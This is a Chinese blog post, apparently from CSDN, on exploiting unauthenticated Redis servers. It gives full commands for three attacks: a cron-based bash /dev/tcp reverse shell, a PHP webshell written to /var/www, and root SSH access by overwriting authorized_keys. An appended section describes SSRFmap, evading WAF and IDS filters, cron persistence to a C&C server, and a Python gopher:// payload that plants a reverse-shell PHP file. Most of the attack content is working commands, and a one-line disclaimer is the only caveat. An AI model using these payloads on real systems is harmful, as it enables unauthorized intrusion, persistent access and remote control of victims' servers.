redis 未授权访问配合计划任务反弹shell

文章详细介绍了Redis未授权访问漏洞的产生条件,包括未绑定特定IP和无密码认证,以及三种利用这种方式进行攻击的方法:反弹shell、直接写入webshell和修改SSH公钥实现免密登录。同时,提供了在KaliLinux上执行这些操作的命令示例。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

redis未授权访问漏洞产生条件:
1.redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
2.没有设置密码认证(一般为空),可以免密码远程登录redis服务。

要在kali上下载客户端

对方redis数据库开启后就会直接连接

一共有三种利用方式:

1.利用redis反弹回来一个shell

root@kali:~# redis-cli -h 192.168.85.170
 set x "\n* * * * * bash -i >& /dev/tcp/反弹的ip/7999 0>&1\n"
 config set dir /var/spool/cron/
 config set dbfilename root
 save

然后直接本地开个nc

nc -lvnp 7999


进行接受反弹回来的信息

kali监听

2. 直接写shell

因为这是测试,所以知道对方的目录

config set dir /var/www
config set dbfilename test.php
set x "<?php phpinfo();?>"
save

然后在对方服务器查看一下

webshell已经被写入

3.改公钥免密登录

先本地生成一个密钥

ssh-keygen -t rsa

然后把密钥写入对方服务器

cat 1.txt | redis-cli -h 192.168.85.170 -x set crack

redis客户端登录

config set dir /root/.ssh             放入目录
config set dbfilename authorized_keys  改名
save
quit

 

然后退出,ssh免密登录    ssh -i id_rsa root@192.168.85.170  

 

 

### 使用SSRFmap实现反弹Shell的方法 #### 工具准备 为了成功实施基于SSRF的攻击并最终获得目标系统的控制权,需要准备好必要的工具和环境配置。SSRFmap是一个专门用于探索和利用服务器端请求伪造(SSRF)漏洞的强大工具[^2]。 #### 利用流程 当确认目标存在可被利用的SSRF漏洞时,可以通过以下方式尝试获取更高权限: - **探测内部服务**:使用`ssrfprobe`模块来扫描内部网络的服务开放情况,这有助于发现潜在的目标如Redis、ElasticSearch等可能存在未授权访问风险的服务。 ```bash python ssrfmap.py -u "http://target.com/vuln?param=http://" --proxy http://127.0.0.1:8080 -m ssrfprobe ``` - **针对特定应用层协议的攻击向量构建** 对于已知易受攻击的应用程序接口(API),可以根据其特性定制相应的载荷(payloads)。例如,在处理HTTP响应重定向或解析URL的过程中可能出现的安全隐患。 - **绕过WAF/IDS检测机制** SSRFmap内置了一些技巧可以帮助避开常见的Web应用程序防火墙(WAF)以及入侵检测系统(IDS)规则集。这些技术包括但不限于修改User-Agent字符串、添加额外参数混淆实际意图等。 - **执行命令注入** 如果能够影响到某些支持外部资源加载的功能点,则有机会构造恶意输入触发远程代码执行(RCE)[^4]。特别是对于那些允许指定任意URI作为数据源的情况更为危险。 - **建立持久化连接** 成功渗透进入受害主机之后,下一步就是维持对该机器的长期掌控。此时可以考虑设置计划任务(cron job)或者其他形式的任务调度器定期回连至攻击者控制下的C&C服务器。 具体到通过Gopher协议配合Redis实现反弹shell的操作如下所示: 假设已经找到一个带有SSRF缺陷并且能与之交互的web页面参数,同时得知内网中有台Redis实例正处于无认证状态运行着,并且是以超级管理员(root)身份启动的话——那么就可以精心设计一条特殊的payload让该网站发起指向特殊格式url(`gopher://`)的GET请求,进而间接操控远端数据库完成一系列指令下达直至植入后门脚本为止。 ```python import requests # 构造Payload payload = 'gopher://localhost:6379/_SET%20cron.php%20"<?php%20exec(''bash%20-i%20>%26%20/dev/tcp/your_ip/your_port%200>%261'');?>"' # 发送含有恶意链接的数据包给有漏洞的地方 requests.get(f'http://example.com/ssrf_endpoint?url={payload}') ``` 上述Python代码片段展示了如何发送包含恶意负载的HTTP GET请求以利用SSRF漏洞并通过Gopher协议操纵Redis创建一个新的PHP文件[cron.php],其中嵌入了一条Linux Shell命令用来打开反向外壳连接回到攻击者的监听地址上。 请注意以上内容仅限安全研究学习目的,请勿非法使用!
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值